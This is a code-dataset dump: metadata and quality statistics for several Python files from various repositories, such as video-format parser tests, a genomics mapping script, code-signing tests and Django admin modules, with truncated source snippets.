import pickle
import face_recognition
from face_recognition.face_recognition_cli import image_files_in_folder
import sys
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}
THRESHOLD = os.getenv('THRESHOLD', 'TRUE')
def predict_frame(... | 42.092857 | 119 | 0.686408 | 859 | 5,893 | 4.513388 | 0.178114 | 0.073768 | 0.050555 | 0.026309 | 0.84911 | 0.838277 | 0.838277 | 0.822027 | 0.822027 | 0.798556 | 0 | 0.004179 | 0.228407 | 5,893 | 139 | 120 | 42.395683 | 0.848472 | 0.348889 | 0 | 0.582278 | 0 | 0 | 0.083735 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.025316 | false | 0 | 0.126582 | 0 | 0.202532 | 0.025316 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0396a6b05dfc7e436c9b8b5a48d97d3c46c80580 | 4,822 | py | Python | utils/load.py | KyleDavisSA/pde-surrogate | 41ad2c9eb73c323e389174080f4b3df6cbd3c900 | [
"MIT"
] | null | null | null | utils/load.py | KyleDavisSA/pde-surrogate | 41ad2c9eb73c323e389174080f4b3df6cbd3c900 | [
"MIT"
] | null | null | null | utils/load.py | KyleDavisSA/pde-surrogate | 41ad2c9eb73c323e389174080f4b3df6cbd3c900 | [
"MIT"
] | null | null | null | """
Load args and model from a directory
"""
import torch
from torch.utils.data import DataLoader, TensorDataset
from argparse import Namespace
import h5py
import json
import meshio
import numpy as np
def load_args(run_dir):
with open(run_dir + '/args.txt') as args_file:
args = Namespace(**json.load(arg... | 38.576 | 115 | 0.592285 | 726 | 4,822 | 3.730028 | 0.128099 | 0.062777 | 0.036558 | 0.033235 | 0.871123 | 0.871123 | 0.871123 | 0.871123 | 0.847489 | 0.847489 | 0 | 0.022664 | 0.249689 | 4,822 | 124 | 116 | 38.887097 | 0.725815 | 0.15056 | 0 | 0.670732 | 0 | 0 | 0.082312 | 0.010758 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04878 | false | 0 | 0.085366 | 0 | 0.182927 | 0.060976 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
03a72e466e1226d0b6e3c163d098b311997359d4 | 149 | py | Python | tubbs/formatter/scala/__init__.py | tek/tubbs | cd4c174c31b6c58a6935ca8a5f0f141377a9a04c | [
"MIT"
] | null | null | null | tubbs/formatter/scala/__init__.py | tek/tubbs | cd4c174c31b6c58a6935ca8a5f0f141377a9a04c | [
"MIT"
] | null | null | null | tubbs/formatter/scala/__init__.py | tek/tubbs | cd4c174c31b6c58a6935ca8a5f0f141377a9a04c | [
"MIT"
] | null | null | null | from tubbs.formatter.scala.breaker import VimBreaker
from tubbs.formatter.scala.indenter import VimIndenter
__all__ = ('VimBreaker', 'VimIndenter')
| 29.8 | 54 | 0.818792 | 17 | 149 | 6.941176 | 0.588235 | 0.152542 | 0.305085 | 0.389831 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.087248 | 149 | 4 | 55 | 37.25 | 0.867647 | 0 | 0 | 0 | 0 | 0 | 0.14094 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
03a8d439dddaf2665f37e662edaa92e5c9ecce9c | 9,055 | py | Python | tests/yuv_test.py | antmicro/raviewer | 7529664d37e994d4c2f4c450a5577b79d73c4bb0 | [
"Apache-2.0"
] | 12 | 2021-11-18T09:38:34.000Z | 2022-03-24T19:33:44.000Z | tests/yuv_test.py | antmicro/raviewer | 7529664d37e994d4c2f4c450a5577b79d73c4bb0 | [
"Apache-2.0"
] | 1 | 2022-02-14T12:07:02.000Z | 2022-03-21T19:29:11.000Z | tests/yuv_test.py | antmicro/raviewer | 7529664d37e994d4c2f4c450a5577b79d73c4bb0 | [
"Apache-2.0"
] | null | null | null | import unittest
import numpy
import os
from unittest.mock import (Mock, patch)
from raviewer.parser.yuv import ParserYUV420, ParserYUV422, ParserYUV420Planar, ParserYUV422Planar
from enum import Enum
class DummyPixelFormat(Enum):
YUV = 1
YVU = 2
UYVY = 3
YUYV = 4
class DummyEndianness(Enum):
LIT... | 42.313084 | 98 | 0.570955 | 959 | 9,055 | 5.180396 | 0.092805 | 0.049919 | 0.060185 | 0.077295 | 0.886876 | 0.886876 | 0.885266 | 0.868961 | 0.86252 | 0.823269 | 0 | 0.097589 | 0.32667 | 9,055 | 213 | 99 | 42.511737 | 0.717238 | 0.005743 | 0 | 0.672619 | 0 | 0 | 0.049117 | 0.047561 | 0 | 0 | 0 | 0 | 0.166667 | 1 | 0.059524 | false | 0 | 0.035714 | 0 | 0.178571 | 0.017857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
207ca71d5a53e255c1c332a5b53aede5e33b9205 | 17,727 | py | Python | scripts/mapping4SNP_v2.0_multipleMaps.py | PerisD/Sac2.0 | 274aeca4f6298b2d1d816e5640bf3f67bb5dd729 | [
"CC0-1.0"
] | null | null | null | scripts/mapping4SNP_v2.0_multipleMaps.py | PerisD/Sac2.0 | 274aeca4f6298b2d1d816e5640bf3f67bb5dd729 | [
"CC0-1.0"
] | null | null | null | scripts/mapping4SNP_v2.0_multipleMaps.py | PerisD/Sac2.0 | 274aeca4f6298b2d1d816e5640bf3f67bb5dd729 | [
"CC0-1.0"
] | null | null | null | __author__ = 'Peris'
#!/usr/bin/env python
#coding: utf-8
import argparse
from subprocess import call
import os
import shutil
import glob
from Bio import SeqIO
helptext="""
This script is to map reads to a reference assembly to generate an alignment for population genomics.
The output requires to convert N sites to ... | 67.660305 | 499 | 0.690416 | 2,036 | 17,727 | 5.77554 | 0.140472 | 0.095246 | 0.101709 | 0.129093 | 0.770474 | 0.743005 | 0.720725 | 0.702101 | 0.702101 | 0.694447 | 0 | 0.018777 | 0.134766 | 17,727 | 261 | 500 | 67.91954 | 0.747881 | 0.012862 | 0 | 0.57265 | 0 | 0.034188 | 0.323938 | 0.120119 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.025641 | null | null | 0.192308 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
209bcc7136e45237b3ef4f72a6a5d6341d1f6455 | 31 | py | Python | ofdft_ml/statslib/data_loader/__init__.py | HamletWantToCode/ofdft-ml | 4115405b6f530cdf8956d0b5b353569ce7c09496 | [
"MIT"
] | 6 | 2019-01-16T07:00:27.000Z | 2022-03-18T07:09:25.000Z | ofdft_ml/statslib/data_loader/__init__.py | HamletWantToCode/ofdft-ml | 4115405b6f530cdf8956d0b5b353569ce7c09496 | [
"MIT"
] | null | null | null | ofdft_ml/statslib/data_loader/__init__.py | HamletWantToCode/ofdft-ml | 4115405b6f530cdf8956d0b5b353569ce7c09496 | [
"MIT"
] | null | null | null | from .dataloader import Dataset | 31 | 31 | 0.870968 | 4 | 31 | 6.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.096774 | 31 | 1 | 31 | 31 | 0.964286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
20eb0a186ef36f16b32ac0c98a703bfa733a0d35 | 8,002 | py | Python | test/test_jarsigner_sign_command.py | fullstaq-labs/venafi-codesigning-gitlab | 0799ce7e6b74c8d1836a01b509dc5f50541356b3 | [
"Apache-2.0"
] | null | null | null | test/test_jarsigner_sign_command.py | fullstaq-labs/venafi-codesigning-gitlab | 0799ce7e6b74c8d1836a01b509dc5f50541356b3 | [
"Apache-2.0"
] | 1 | 2021-07-12T09:06:53.000Z | 2021-07-12T09:06:53.000Z | test/test_jarsigner_sign_command.py | fullstaq-labs/venafi-codesigning-gitlab | 0799ce7e6b74c8d1836a01b509dc5f50541356b3 | [
"Apache-2.0"
] | null | null | null | from venafi_codesigning_gitlab_integration.jarsigner_sign_command import JarsignerSignConfig
from venafi_codesigning_gitlab_integration.jarsigner_sign_command import JarsignerSignCommand
from venafi_codesigning_gitlab_integration import utils
import pytest
import logging
import subprocess
import os
import re
fake_tpp_... | 33.481172 | 97 | 0.676456 | 905 | 8,002 | 5.816575 | 0.146961 | 0.059271 | 0.051672 | 0.075228 | 0.826558 | 0.809081 | 0.782865 | 0.763108 | 0.763108 | 0.738792 | 0 | 0.010483 | 0.201325 | 8,002 | 238 | 98 | 33.621849 | 0.813175 | 0 | 0 | 0.639344 | 0 | 0.005464 | 0.209823 | 0.03924 | 0 | 0 | 0 | 0 | 0.092896 | 1 | 0.087432 | false | 0.038251 | 0.043716 | 0.027322 | 0.191257 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
45a8522dedcb5eb9f2989b1034c59beaba43571b | 93 | py | Python | christina/utils/__init__.py | guansss/christina | e6e8172bd7b0b68bda4f3c13f6427b7f9db4d2ef | [
"MIT"
] | null | null | null | christina/utils/__init__.py | guansss/christina | e6e8172bd7b0b68bda4f3c13f6427b7f9db4d2ef | [
"MIT"
] | null | null | null | christina/utils/__init__.py | guansss/christina | e6e8172bd7b0b68bda4f3c13f6427b7f9db4d2ef | [
"MIT"
] | null | null | null | from .eventemitter import *
from .misc import *
from .process import *
from .string import *
| 18.6 | 27 | 0.741935 | 12 | 93 | 5.75 | 0.5 | 0.434783 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172043 | 93 | 4 | 28 | 23.25 | 0.896104 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
45bcfaeb97ed0ff8e530ddacc88395a26d3c7e57 | 617 | py | Python | medimg/dcm/__init__.py | arokem/nimsdata | 9aba149969a4d86d18cf0d731fbd562cc0e8bfeb | [
"MIT"
] | 2 | 2016-03-26T09:43:55.000Z | 2016-11-15T11:22:06.000Z | medimg/dcm/__init__.py | arokem/nimsdata | 9aba149969a4d86d18cf0d731fbd562cc0e8bfeb | [
"MIT"
] | null | null | null | medimg/dcm/__init__.py | arokem/nimsdata | 9aba149969a4d86d18cf0d731fbd562cc0e8bfeb | [
"MIT"
] | 1 | 2017-11-18T10:06:57.000Z | 2017-11-18T10:06:57.000Z | """
nimsdata.medimg.dcm
===================
TODO: docs? here? yes.
Currently supported dicoms include the following Manufacturers and SOPs
SUPPORTED_MFR
- 'GE MEDICAL SYSTEMS'
- 'SIEMENS'
SUPPORTED_SOP
- '1.2.840.10008.5.1.4.1.1.4' MR Image
- '1.2.840.10008.5.1.4.1.1.7' Secondary Capture... | 26.826087 | 81 | 0.583468 | 113 | 617 | 3.168142 | 0.442478 | 0.039106 | 0.083799 | 0.167598 | 0.284916 | 0.284916 | 0.284916 | 0.284916 | 0.284916 | 0.159218 | 0 | 0.244306 | 0.21718 | 617 | 22 | 82 | 28.045455 | 0.496894 | 0.983793 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0.045455 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
45ca35a0fa15eddc046aeaf9cbdd5eec81b1f362 | 47 | py | Python | classifier/fracture_detector/callback/__init__.py | MIPT-Oulu/DeepWrist | 9c26ee8639d748671f30a7a45487885989c53fa1 | [
"MIT"
] | 2 | 2021-03-03T12:38:15.000Z | 2022-03-16T10:57:28.000Z | classifier/fracture_detector/callback/__init__.py | MIPT-Oulu/DeepWrist | 9c26ee8639d748671f30a7a45487885989c53fa1 | [
"MIT"
] | 2 | 2022-03-07T20:03:42.000Z | 2022-03-09T10:47:42.000Z | classifier/fracture_detector/callback/__init__.py | MIPT-Oulu/DeepWrist | 9c26ee8639d748671f30a7a45487885989c53fa1 | [
"MIT"
] | null | null | null | from ._callback_ptl import ReleaseAfterCallback | 47 | 47 | 0.914894 | 5 | 47 | 8.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.06383 | 47 | 1 | 47 | 47 | 0.931818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
45cd3bffb17086c822a03c780110bdb0ff225e07 | 38 | py | Python | OctaHomeNagios/OctaFiles/__init__.py | Tomcuzz/OctaHomeAutomation | 4f0c5ea8b3d5b6e67633ae9c4cb95287d2784f5e | [
"MIT"
] | 4 | 2016-08-14T22:07:03.000Z | 2020-10-05T14:43:03.000Z | OctaHomeNagios/OctaFiles/__init__.py | Tomcuzz/OctaHomeAutomation | 4f0c5ea8b3d5b6e67633ae9c4cb95287d2784f5e | [
"MIT"
] | null | null | null | OctaHomeNagios/OctaFiles/__init__.py | Tomcuzz/OctaHomeAutomation | 4f0c5ea8b3d5b6e67633ae9c4cb95287d2784f5e | [
"MIT"
] | null | null | null | from menus import *
from urls import * | 19 | 19 | 0.763158 | 6 | 38 | 4.833333 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.184211 | 38 | 2 | 20 | 19 | 0.935484 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b3132fe7d6b452962cc26ebd5ca01167a2bec067 | 265 | py | Python | nfsmain/admin.py | Kirkkonen/NetForSpeech | d4e7aee3003c88cb7afa21802ca724f55dc10604 | [
"Apache-2.0"
] | null | null | null | nfsmain/admin.py | Kirkkonen/NetForSpeech | d4e7aee3003c88cb7afa21802ca724f55dc10604 | [
"Apache-2.0"
] | 18 | 2015-02-21T14:38:41.000Z | 2015-04-27T08:23:21.000Z | nfsmain/admin.py | kromkrom/NetForSpeech | d4e7aee3003c88cb7afa21802ca724f55dc10604 | [
"Apache-2.0"
] | null | null | null | from django.contrib import admin
import nfsmain.models
# Register your models here.
admin.site.register(nfsmain.models.Organisation)
admin.site.register(nfsmain.models.Speech)
admin.site.register(nfsmain.models.Interview)
admin.site.register(nfsmain.models.Event) | 29.444444 | 48 | 0.833962 | 36 | 265 | 6.138889 | 0.416667 | 0.294118 | 0.307692 | 0.434389 | 0.542986 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.060377 | 265 | 9 | 49 | 29.444444 | 0.88755 | 0.098113 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
b36db078f5ad5b524a09271c885138fe8560c69f | 40 | py | Python | lale/datasets/uci/__init__.py | haodeqi/lale | b58cda5d17ba6ee233e9afa91844afa413af5520 | [
"Apache-2.0"
] | null | null | null | lale/datasets/uci/__init__.py | haodeqi/lale | b58cda5d17ba6ee233e9afa91844afa413af5520 | [
"Apache-2.0"
] | null | null | null | lale/datasets/uci/__init__.py | haodeqi/lale | b58cda5d17ba6ee233e9afa91844afa413af5520 | [
"Apache-2.0"
] | null | null | null | from .uci_datasets import fetch_drugscom | 40 | 40 | 0.9 | 6 | 40 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075 | 40 | 1 | 40 | 40 | 0.918919 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b36f7b55fef96f9aeb10f4219fd2d711b6be42d7 | 39,009 | py | Python | invoice_ar/tests/test_serializers.py | mbaragiola/heimdallerp | 8d32131a20bd0f3609d772ac437f4f24622abfc7 | [
"0BSD"
] | 8 | 2016-04-07T11:58:42.000Z | 2019-06-24T01:38:12.000Z | invoice_ar/tests/test_serializers.py | mbaragiola/heimdallerp | 8d32131a20bd0f3609d772ac437f4f24622abfc7 | [
"0BSD"
] | null | null | null | invoice_ar/tests/test_serializers.py | mbaragiola/heimdallerp | 8d32131a20bd0f3609d772ac437f4f24622abfc7 | [
"0BSD"
] | null | null | null | from datetime import date, timedelta
from decimal import Decimal
from contact.models import Contact
from django.contrib.auth.models import User
from django.core.urlresolvers import reverse
from geo.models import Country, Locality
from invoice.models import (INVOICE_STATUSTYPE_DRAFT, VAT, CompanyInvoice,
... | 33.628448 | 76 | 0.503243 | 3,389 | 39,009 | 5.604603 | 0.071407 | 0.125566 | 0.111825 | 0.063178 | 0.909182 | 0.883174 | 0.852532 | 0.802359 | 0.741708 | 0.687217 | 0 | 0.026315 | 0.394063 | 39,009 | 1,159 | 77 | 33.657463 | 0.777256 | 0 | 0 | 0.641629 | 0 | 0 | 0.161159 | 0.059805 | 0 | 0 | 0 | 0 | 0.143891 | 1 | 0.025339 | false | 0 | 0.009955 | 0 | 0.046154 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2fbd1a3f064e91f24a62fbd3f2c26b8c21d38fe6 | 14,285 | py | Python | devilry/devilry_import_v2database/tests/test_modelimporters/test_qualifiesforexam_importer.py | aless80/devilry-django | 416c262e75170d5662542f15e2d7fecf5ab84730 | [
"BSD-3-Clause"
] | null | null | null | devilry/devilry_import_v2database/tests/test_modelimporters/test_qualifiesforexam_importer.py | aless80/devilry-django | 416c262e75170d5662542f15e2d7fecf5ab84730 | [
"BSD-3-Clause"
] | null | null | null | devilry/devilry_import_v2database/tests/test_modelimporters/test_qualifiesforexam_importer.py | aless80/devilry-django | 416c262e75170d5662542f15e2d7fecf5ab84730 | [
"BSD-3-Clause"
] | null | null | null | from django import test
from django.conf import settings
from django.utils import timezone
from django.utils.dateparse import parse_date
from model_mommy import mommy
from .importer_testcase_mixin import ImporterTestCaseMixin
from devilry.devilry_import_v2database.modelimporters.qualifiesforexam_importer import \
... | 48.260135 | 119 | 0.706265 | 1,537 | 14,285 | 6.222511 | 0.07352 | 0.105813 | 0.035132 | 0.041719 | 0.854036 | 0.831347 | 0.788896 | 0.776349 | 0.776349 | 0.763174 | 0 | 0.005122 | 0.20735 | 14,285 | 295 | 120 | 48.423729 | 0.83953 | 0 | 0 | 0.632959 | 0 | 0 | 0.152398 | 0.123906 | 0 | 0 | 0 | 0 | 0.101124 | 1 | 0.086142 | false | 0 | 0.228464 | 0.014981 | 0.337079 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
640e4ff0b52e56376f75a16db48899141b55b809 | 169 | py | Python | triad/utils/__init__.py | kvnkho/triad | 371a5e84945b2203f1108598b8e67136414589a3 | [
"Apache-2.0"
] | 6 | 2020-10-04T23:01:33.000Z | 2021-11-08T11:46:39.000Z | triad/utils/__init__.py | kvnkho/triad | 371a5e84945b2203f1108598b8e67136414589a3 | [
"Apache-2.0"
] | 16 | 2020-09-28T21:58:08.000Z | 2021-12-29T07:09:03.000Z | triad/utils/__init__.py | kvnkho/triad | 371a5e84945b2203f1108598b8e67136414589a3 | [
"Apache-2.0"
] | 1 | 2020-10-10T20:36:43.000Z | 2020-10-10T20:36:43.000Z | # flake8: noqa
from triad.utils.assertion import assert_arg_not_none, assert_or_throw
from triad.utils.hash import to_uuid
from triad.utils.iter import make_empty_aware
| 33.8 | 70 | 0.852071 | 29 | 169 | 4.689655 | 0.689655 | 0.198529 | 0.308824 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006536 | 0.094675 | 169 | 4 | 71 | 42.25 | 0.882353 | 0.071006 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ff7540d786ab22443dc636b82caf6d053f4d74c0 | 1,708 | py | Python | S4/S4 Library/simulation/sims/template_affordance_provider/tunable_provided_template_affordance.py | NeonOcean/Environment | ca658cf66e8fd6866c22a4a0136d415705b36d26 | [
"CC-BY-4.0"
] | 1 | 2021-05-20T19:33:37.000Z | 2021-05-20T19:33:37.000Z | S4/S4 Library/simulation/sims/template_affordance_provider/tunable_provided_template_affordance.py | NeonOcean/Environment | ca658cf66e8fd6866c22a4a0136d415705b36d26 | [
"CC-BY-4.0"
] | null | null | null | S4/S4 Library/simulation/sims/template_affordance_provider/tunable_provided_template_affordance.py | NeonOcean/Environment | ca658cf66e8fd6866c22a4a0136d415705b36d26 | [
"CC-BY-4.0"
] | null | null | null | from sims.template_affordance_provider.tunable_affordance_template_discipline import TunableAffordanceTemplateDiscipline
from sims4.tuning.tunable import TunableTuple, TunableSimMinute, TunableList, TunableVariant, OptionalTunable
class TunableProvidedTemplateAffordance(TunableTuple):
def __init__(self, descripti... | 213.5 | 1,210 | 0.691452 | 192 | 1,708 | 6.036458 | 0.401042 | 0.051769 | 0.03365 | 0.029336 | 0.093184 | 0.060397 | 0.060397 | 0.060397 | 0 | 0 | 0 | 0.002322 | 0.24356 | 1,708 | 7 | 1,211 | 244 | 0.894737 | 0 | 0 | 0 | 0 | 0.6 | 0.587822 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ff92af82c1277e2754f71f08f643c5cda12eaa1e | 184 | py | Python | packages/auto-nlp-deployment/src/trainings/runtimes/docker/__init__.py | fhswf/tagflip-autonlp | f94abb35ed06198567e5d9cbb7abb7e112149d6c | [
"MIT"
] | 4 | 2021-10-05T17:34:02.000Z | 2022-03-23T07:33:19.000Z | packages/auto-nlp-deployment/src/trainings/runtimes/docker/__init__.py | fhswf/tagflip-autonlp | f94abb35ed06198567e5d9cbb7abb7e112149d6c | [
"MIT"
] | 11 | 2022-03-01T14:37:52.000Z | 2022-03-31T05:11:23.000Z | packages/auto-nlp-deployment/src/trainings/runtimes/docker/__init__.py | fhswf/tagflip-autonlp | f94abb35ed06198567e5d9cbb7abb7e112149d6c | [
"MIT"
] | 1 | 2022-01-29T13:32:22.000Z | 2022-01-29T13:32:22.000Z | from .docker_training_runtime import DockerTrainingRuntime
from .docker_training_runtime_config import DockerTrainingRuntimeConfig
from .docker_training_task import DockerTrainingTask
| 46 | 71 | 0.918478 | 19 | 184 | 8.526316 | 0.526316 | 0.185185 | 0.333333 | 0.308642 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.065217 | 184 | 3 | 72 | 61.333333 | 0.94186 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
4444135fa7d08d614e7f61e0bef051df28da21d9 | 192 | py | Python | tests/_other_module.py | gregie156/rdisq | bed3028997f7f64d956b2731437febfc5f2d0061 | [
"MIT"
] | 1 | 2015-09-08T06:12:14.000Z | 2015-09-08T06:12:14.000Z | tests/_other_module.py | gregie156/rdisq | bed3028997f7f64d956b2731437febfc5f2d0061 | [
"MIT"
] | null | null | null | tests/_other_module.py | gregie156/rdisq | bed3028997f7f64d956b2731437febfc5f2d0061 | [
"MIT"
] | 2 | 2016-12-16T10:17:39.000Z | 2020-06-13T14:37:57.000Z | """To test how auto-detection of handler-class works with classes from other modules"""
from rdisq.request.message import RdisqMessage
class MessageFromExternalModule(RdisqMessage):
pass | 32 | 87 | 0.807292 | 24 | 192 | 6.458333 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 192 | 6 | 88 | 32 | 0.922619 | 0.421875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
444b2e2c7f0f65d0b5f7ba6fdf7f0ecfc97f4d1c | 118 | py | Python | backend/users/admin.py | rabbilyasar/photo-app | a479eb1d9aed5f2b0c6a8bff182fc754e094ef85 | [
"MIT"
] | null | null | null | backend/users/admin.py | rabbilyasar/photo-app | a479eb1d9aed5f2b0c6a8bff182fc754e094ef85 | [
"MIT"
] | null | null | null | backend/users/admin.py | rabbilyasar/photo-app | a479eb1d9aed5f2b0c6a8bff182fc754e094ef85 | [
"MIT"
